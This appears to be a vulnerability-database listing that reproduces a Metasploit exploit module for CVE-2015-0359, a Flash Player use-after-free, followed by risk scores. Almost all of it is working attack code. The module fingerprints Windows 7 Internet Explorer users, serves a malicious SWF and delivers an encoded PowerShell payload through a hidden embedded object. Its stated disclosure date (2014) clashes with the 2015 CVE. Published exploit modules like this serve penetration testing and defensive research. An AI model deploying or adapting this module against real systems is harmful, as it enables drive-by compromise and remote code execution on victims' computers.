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Adobe Flash Player - domainMemory ByteArray Use-After-Free (Metasploit)
10
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free',
'Description' => %q{
This module exploits a use-after-free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, when forcing a reallocation by copying more
contents than the original capacity, but Flash forgets to update the domainMemory
pointer, leading to a use-after-free situation when the main worker references the
domainMemory again. This module has been tested successfully on Windows 7 SP1
(32-bit), IE 8 and IE11 with Flash 17.0.0.134.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bilou', # Vulnerability discovery according to Flash Advisory
'Unknown', # Exploit in the wild
'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one)
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0359'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'],
['URL', 'https://git.hacklab.kr/snippets/13'],
['URL', 'http://pastebin.com/Wj3NViUu']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 14 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
endData
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08 May 2015 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 210
EPSS0.88559